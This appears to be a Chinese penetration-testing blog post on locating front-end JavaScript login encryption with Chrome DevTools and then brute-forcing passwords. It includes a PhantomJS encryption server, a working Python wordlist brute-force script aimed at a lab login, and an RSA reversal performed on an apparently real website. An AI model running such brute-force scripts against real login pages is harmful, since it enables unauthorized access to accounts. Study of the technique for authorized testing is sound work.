zoukankan      html  css  js  c++  java
  • 37.前台js登陆加密分析

    开篇

    由于现在的登陆接口如果明文传输的话,容易被暴力破解,越来越多的网站选择了前台js加密的方式,像这样:

    或者这样:

     

    枯了,对渗透造成一定的影响

    本篇文章将系统的讲述使用Python对前台js加密爆破的方法。

    加密方式

    对称加密

    什么是对称加密

    对称加密就是指,加密和解密使用同一个密钥的加密方式。

    对称加密的过程

    发送方使用密钥将明文数据加密成密文,然后发送出去,接收方收到密文后,使用同一个密钥将密文解密成明文读取。

    常见对称加密算法

    AES,DES,3DES,RC4,RC5...

    对称加密算法的不足

    由于对称加密的加密和解密使用的是同一个密钥,所以对称加密的安全性就不仅仅取决于加密算法本身的强度,更取决于密钥是否被安全的保管,因此加密者如何把密钥安全的传递到解密者手里,就成了对称加密面临的关键问题。

    非对称加密

    什么是非对称加密

    非对称加密算法需要两个密钥:公开密钥(public key)和 私有密钥(private key)。

    公开密钥与私有密钥是一对,如果用公开密钥对数据进行加密,只有用对应的私有密钥才能解密;如果用私有密钥对数据进行加密,那么只有用对应的公开密钥才能解密。因为加密和解密使用的是两个不同的密钥,所以这种算法叫作非对称加密算法。

    非对称加密的过程

    • A要向B发送信息,A和B都要产生一对用于加密和解密的公钥和私钥。
    • A的私钥保密,A的公钥告诉B;B的私钥保密,B的公钥告诉A。
    • A要给B发送信息时,A用B的公钥加密信息,因为A知道B的公钥。
    • A将这个消息发给B(已经用B的公钥加密消息)。
    • B收到这个消息后,B用自己的私钥解密A的消息,其他所有收到这个报文的人都无法解密,因为只有B才有B的私钥。
    • 反过来,B向A发送消息也是一样。

    常见的非对称加密算法

    RSA,ECC,DSA...

    单向散列函数

    单向散列函数的特点

    • 不管明文多长,散列后的密文定长
    • 明文不一样,散列后结果一定不一样
    • 散列后的密文不可逆
    • 一般用于校验数据完整性、签名 sign
    • 由于密文不可逆,所以后台无法还原,也就是说他要验证,会在后台以跟前台一样的方式去重新签名一遍。也就是说他会把源数据和签名后的值一起提交到后台。所以我们要保证在签名时候的数据和提交上去的源数据一致,这种算法特喜欢在内部加入时间戳

    单向散列函数常见算法

    MD5,SHA1,SHA256,SHA512,HmacMD5...

    其他加密

    BASE64

    • 所有的数据都能被编码为只用65个字符就能表示的文本。
      标准的Base64每行为76个字符,每行末尾添加一个回车换行符( )。不论每行是否满76个字符,都要添加一个回车换行符。
    • 65字符:A~Z a~z 0~9 + / =
      URL Base64算法中,为了安全,会把 + 替换成 - ,把 / 替换成 _
      = 有时候用 ~ 或 . 代替
    • Base64的应用
      密钥,密文,图片,数据简单加密或者预处理
    • Base64编码解码与btoa、atob

    HEX

    • 二进制数据最常用的一种表示方式。
    • 用0-9 a-f 16个字符表示。每个十六进制字符代表4bit。也就是2个十六进制字符代表一个字节。
    • 在实际应用中,尤其在密钥初始化的时候,一定要分清楚自己传进去的密钥是哪种方式编码的,采用对应方式解析,才能得到正确的结果

    如何使用chrome浏览器调试js

    断点调试

    代码断点

    1.打开调试工具DevTools(F12)。

    2.点击 Sources 选项卡,来查看当前加载的js代码

    3.找到需要代码断下的地方,在左侧行号处点击,会出现一个蓝色的图标

    4.重新对页面发起请求,当代码执行到这一行就会暂停。

    条件断点

    除了普通的断点外,还可以使用条件断点,不过只有在条件为真时才会暂停。

    1.到需要代码断下的地方,右键点击选择 add conditional breakpoint 

    2.在弹出的输入框中,输入条件语句,确定后,行号处会变成橙色

    管理代码断点

    断点多了,有时候自己也乱。这个时候可以在右侧的 Breakpoints窗格管理断点,这里显示每个断点对应的行号和代码。

    1.点击断点前的复选框可以禁用该断点。

    2.右键单击某个条目,可以呼出菜单以删除该断点,取消激活所有断点,禁用所有断点或删除所有断点,删除除此断点外的其他断点。其中取消激活所有断点会指示DevTools忽略所有代码行断点,但也要保持其启用状态,以便它们在重新激活它们时处于与之前相同的状态。

    3.单击断点其他位置,可以联动到该代码在编辑器的位置,并且背景会标黄。

    DOM断点

    有时候可能需要在DOM节点发生改变的时,对代码暂停。这是就可以设置DOM更改断点。

    1.切换到 Elements 选项卡

    2.右键点击需要设置断点的元素。

    3.将鼠标移到 Break on 上,然后选择 “子树修改”,“属性修改” 或 “节点删除”。

    三种断点类型解释:

    • 子树修改。当删除或添加当前所选节点的子节点或更改子节点的内容时触发。未在子节点属性更改或当前所选节点的任何更改上触发。
    • 属性修改:在当前选定的节点上添加或删除属性时或属性值更改时触发。
    • 节点删除:删除当前选定的节点时触发。

    XHR/Fetch断点

    这里先介绍一下什么是XHR请求:

    XHR(XMLHttpRequest)是AJAX的基础,用于在后台与服务器交换数据。这意味着可以在不重新加载整个网页的情况下,对网页的某部分进行更新。

    如需将请求发送到服务器,我们使用 XMLHttpRequest 对象的 open() 和 send() 方法

    如果要在XHR请求的时候,对包含指定字符串的URL进行中断,可以使用此断点。DevTools暂停XHR调用的代码行 send()。 (Fetch也适用)

    1.切换到 Sources 选项卡,展开 XHR/Fetch Breakpoints 窗格。

    2.点击右侧的加号,添加断点的条件

    3.在弹出的输入框输入URL包含的字符串,回车,包含这段字符串的URL,在发出请求的时候,DevTools就会暂停。注意,如果输入为空,将对任何请求进行暂停

    事件监听断点

    如果要暂停事件触发后运行的事件监听器代码,可以使用事件监听器断点。

    1.切换到 Sources 选项卡,展开 Event Listener Breakpoints 窗格

    2.在事件列表里选择需要监听的事件类型。比如常用的 Mouse 下的 click 事件。

    异常断点

    如果要在抛出捕获或未捕获的异常的代码上暂停,那么可以使用异常断点。

    1.切换到 Sources 选项卡,点击 暂停异常 按钮,启用后会变成蓝色

    2.如果除了未捕获的异常之外还要暂停捕获的异常,请选中 暂停捕获异常 复选框。

    步进执行代码

    代码暂停后,我们需要手动控制代码的执行,以方便排查问题。如下图从左往右依次是

    恢复执行,跳过下一个函数,跳入下一个函数,跳出下一个函数,逐步执行下一行。

    恢复执行

    1.有时候会觉得逐步执行代码很乏味,这时可以在您觉得可能出问题的代码处打断点,然后点击恢复执行按钮。这样代码就会跳到下一个断点处。

    2.除了这个方法,还可以右键单击觉得出问题的代码处,点击Continue to Here (继续到此处)。DevTools就会运行到改行,然后暂停。

    3.点开恢复执行按钮右下角的小三角,可以点击强制恢复执行,这样就能无视后面的断点,强行执行脚本。

    跳过,跳入,跳出,逐步执行

    1.如果觉得代码中调用的某个函数是可信任的,这个时候就可以在代码执行到这行时,点击跳过按钮。

    2.如果代码执行到某行调用了某个函数,可以点击跳入这个函数,继续执行。

    3.如果不想继续查看调用函数的内部代码,可以点击跳出按钮,回到调用该函数的主流程中。

    4.如果不知道哪里出了问题,希望一行行的查找问题,这个时候可以点击逐行执行按钮,这样代码就会按照执行逻辑一行一行的执行。

    编辑脚本

    有时候修复错误的时候,需要对JS代码进行一些修改。其实有些简单的修改无需在IDE中修改了代码然后再重新加载页面,查看效果。您可以在DevTools中直接编辑脚本。

    1.在 Sources 选项卡中的打开需要修改的文件。

    2.修改代码,按Ctrl+ S进行保存。这样就将整个JS文件修补到Chrome的JS引擎中了。(注意修改完后不要刷新页面)。

    压缩脚本格式化

    有时候一些生产环境的文件都是经过压缩的,这样不利于断点调试代码。这个时候可以点击格式化按钮将代码格式化后再进行调试。

     

    查看当前执行上下文

    在某行代码上暂停时,使用 Scope 窗格可以查看当前执行上下文。

    1.双击属性值,可以进行更改。

    2.不可枚举的属性显示为灰色。

    查看当前调用堆栈

    在某行代码上暂停时,使用 Call stack 窗格可以查看此时的调用堆栈。

    1.单击某一个条目可以跳转到调用该函数的代码行。蓝色箭头表示DevTools当前正在突出显示的函数。

    2.右键点击某个条目,可以选择复制堆栈跟踪。将当前调用堆栈复制到剪切板。

    代码片段

     如果发现自己在控制台中反复运行相同的调试代码,就可以考虑使用 Snippets(代码片段)。

    1.打开 Sources 选项卡,切换到 Snippets 标签

    2.点击 New Snippet 可以新建一个代码片段,编辑代码,按Ctrl+S保存更改,按Ctrl+Enter执行代码。

    3.代码执行成功后并且再次对文件进行编辑后,可以通过右键菜单选择 Local Modifications 查看更改记录。还可以通过下方的 revert 按钮撤销本次修改。

    4.github上有很多开源的 snippets ,可以保存起来,方便日后调试。

    这一片段来源于 https://blog.csdn.net/userkang/article/details/85252644

    如何去定位前台加密js代码

    如何去定位前台加密的js代码才是本文的关键,毕竟只有找到js加密的代码,才能构造Python脚本去爆破

    F12一键定位

    F12查找处理登陆函数

    F12检查元素,小箭头点击到"登陆","确定"时会触发提交表单的标签中的一个onClik属性,该属性的值正好是一个处理登陆的js函数userLogin(),像这样:

    定位到这个函数后,可以去Sources文件中search一下这个处理登陆的函数

    match到了三个,在最后function处找到了处理的代码

    这个时候需要下断点来确定是否调用了这个函数

    F12事件监听

    通过F12还可以通过事件的监听来定位加密的方法,还是F12检查元素,小箭头点击到"登陆","确定" 时会触发一个click点击事件,像这样:

    查找与验证加密方法与上步一样,这里不再赘述

    全局搜索定位

    全局搜索顾名思义就是通过查找加密的方法,或者特殊的字段来定位加密的函数,像这样

    使用加密函数名搜索

    md5,aes,des,rsa,encrypt,tripedes,publickey,setpubkey,setpublickey...

    使用特定字段搜索

    F12查看元素,着重关注id = " ",name = " ",type = " ",value = " "... 这种里面的内容

    一般可以搜索 password,password: ,password = ,pwd ....

    先通过Network抓取登陆请求

    发现密码用 pwd:来承载,全局搜索 pwd:

    成功定位到加密的地方

    XHR断点定位

    如果搜索加密参数,没有什么有用,或者代码过于复杂,搜索特定参数,发现根本没有,像这样:

    可以尝试使用XHR断点进行定位,不过前提是网站使用XHR请求到服务器

    切换到,控制台Source 选项卡

    在XHR Breakpoints中填入 "officer/v1/user/login"

    重新发送请求:

    可以看到function y(t)匹配到了断点内容

    发现我们需要提交的数据就在这个n.args中

    在左边堆栈中查看n的事件,发现一个n.login

    打开发现果然我们提交的数据通过这个函数进行加密

    简单例子实践

    这里推荐c0ny1大佬的环境与插件:https://github.com/c0ny1/jsEncrypter

    哦呦,还不错!

    这配置文件里面有各种形式的js加密,那就来正常登录分析一波!

    F12查看元素,事件监听

    进去查看

    m控制的是前台选择的加密方式,这里m=1,选择的是hex_md5()

    全局search这个方法:

    跳到这个md5.js代码

    如何进行爆破

    使用大佬的 jsEncrypter 插件

    1.安装了phantomJS

    2.首先我们能够分析出加密的算法,并能够将算法的js文件引入模板脚本,并在模板脚本的js_encrypt函数体中完成对加密函数的调用

    jsEncrypter_md5.js

    var webserver = require('webserver');
    server = webserver.create();
    
    var host = '127.0.0.1';
    var port = '1664';
    
    // 加载实现加密算法的js脚本
    var wasSuccessful = phantom.injectJs('md5.js');/*引入实现加密的js文件*/
    
    // 处理函数
    function js_encrypt(payload){
        /**********在这里编写调用加密函数进行加密的代码************/
        var newpayload;
        newpayload = hex_md5(payload);
        /**********************************************************/
        return newpayload;
    }
    
    if(wasSuccessful){
        console.log("[*] load js successful");
        console.log("[!] ^_^");
        console.log("[*] jsEncrypterJS start!");
        console.log("[+] address: http://"+host+":"+port);
    }else{
        console.log('[*] load js fail!');
    }
    
    var service = server.listen(host+':'+port,function(request, response){
         try{
            if(request.method == 'POST'){
                var payload = request.post['payload'];
                var encrypt_payload = js_encrypt(payload); 
                console.log('[+] ' + payload + ':' + encrypt_payload);
                response.statusCode = 200;
                response.write(encrypt_payload.toString());
                response.close();
            }else{
                  response.statusCode = 200;
                  response.write("^_^
    
    hello jsEncrypt!");
                  response.close();
            }
        }catch(e){
            console.log('
    -----------------Error Info--------------------')
            var fullMessage = "Message: "+e.toString() + ':'+ e.line;
            for (var p in e) {
                fullMessage += "
    " + p.toUpperCase() + ": " + e[p];
            } 
            console.log(fullMessage);
            console.log('---------------------------------------------')
            console.log('[*] phantomJS exit!')
            phantom.exit();
        }    
    });

    3.运行jsEncrypter_md5.js

    开启burp插件jsEncrypter插件,并连接

    点击Test测试phantomJS脚本能够正常加密payload

    抓包尝试爆破

    前期步骤都一样,到最后添加规则的时候

    开始爆破

     

    果然nice!

    使用python的 execjs 模块

    同样需要我们能够分析出加密的算法,使用Python的execjs模块调用加密js,其实原理与上面大佬的思路一样:

    这里直接给出代码

    import execjs
    import sys
    import requests
    def get_js(): #执行本地js f
    = open("md5.js",'r',encoding='utf-8') line = f.readline() htmlstr = '' while line: htmlstr = htmlstr+line line = f.readline() return htmlstr def get_data(data): jsstr = get_js() #调用compile()编译并加载js文件内容 ctx = execjs.compile(jsstr) #调用call()调用js中的方法与参数 return (ctx.call('hex_md5',data)) def get_file(): f = open('pass.txt','r',encoding = 'utf-8') for each in f: data1 = get_data(each.strip()) re = to_request(data1) if "successful" in re: print("password : "+each+re) def to_request(data1): url = "http://192.168.31.76/webapp/login_check.php" data = { "m":"1", "username":"admin", "password":data1, } re = requests.post(url,data=data) return re.text if __name__ == '__main__': get_file()

    尝试运行:

     

     菜鸡代码,大佬勿喷!

    真实环境测试

    接下来实际分析一下某天下网站的加密。

    尝试使用错误的密码登陆,同时F12来监控网络请求:

    看到密码处那一大段复杂的加密,首先尝试来搜索关键字,比如这里是 pwd:

    这里下断点来调试一下:

    到 encryptedString() 这个函数处断了下来,that.password.val()提取出来的是我们输入的明文密码,这个key_to_encode猜想应该是加密用的key值,

    搜索一波:

    看到RSA字样感觉就稳了,RSA加密的话需要一个密钥,后面的也能对的上。继续跟进RSAKeyPair()函数,看到底是哪个js需要用到这个函数

    分析可得,这个RSA.min.js就是加密的代码

    尝试把加密js保存在本地,并使用python的execjs模块去调用我们构造的参数

    在RSA.min.js结尾补充了这样几行代码

    引入RSA加密的公钥,以及我们调用的接口函数,当然,如果可以运行js的话,直接在末尾console.log()会更清晰明白

    我这里给出菜鸡python调用代码:

    import execjs
    
    def get_js():    #执行本地js
         f = open("rsa.js",'r',encoding='utf-8')
         line = f.readline()
         htmlstr = ''
         while line:
              htmlstr = htmlstr+line
              line = f.readline()
         return htmlstr
    
    def get_data(data):
         jsstr = get_js()
         #调用compile()编译并加载js文件内容
         ctx = execjs.compile(jsstr)
         #调用call()调用js中的方法与参数
         print(ctx.call('crack',data))
    
    if __name__ == '__main__':
         password = "joker123"
         get_data(password)

    运行结果:

    使用burp抓取数据包,把上面结果粘贴进去,登陆成功!

    结尾

    由于自己也是第一次这样分析逆向js代码,如果哪里有错,大佬们可以私信我

    参考连接:

        前端js几种加密/解密方式

        http://travistidwell.com/jsencrypt/

        http://gv7.me/articles/2018/fast-locate-the-front-end-encryption-method/

  • 相关阅读:
    MySQL事件(定时任务)
    MySQL存储过程
    WebSocket小记
    Python计算给定日期位于当年第几周
    报错解决——Failed building wheel for kenlm
    计算机基础系列之压缩算法
    计算机基础系列之内存、磁盘、二进制
    计算机基础系列之CPU
    常用正则表达大全
    报错解决——TypeError: LoadLibrary() argument 1 must be str, not None
  • 原文地址:https://www.cnblogs.com/bmjoker/p/11784817.html
Copyright © 2011-2022 走看看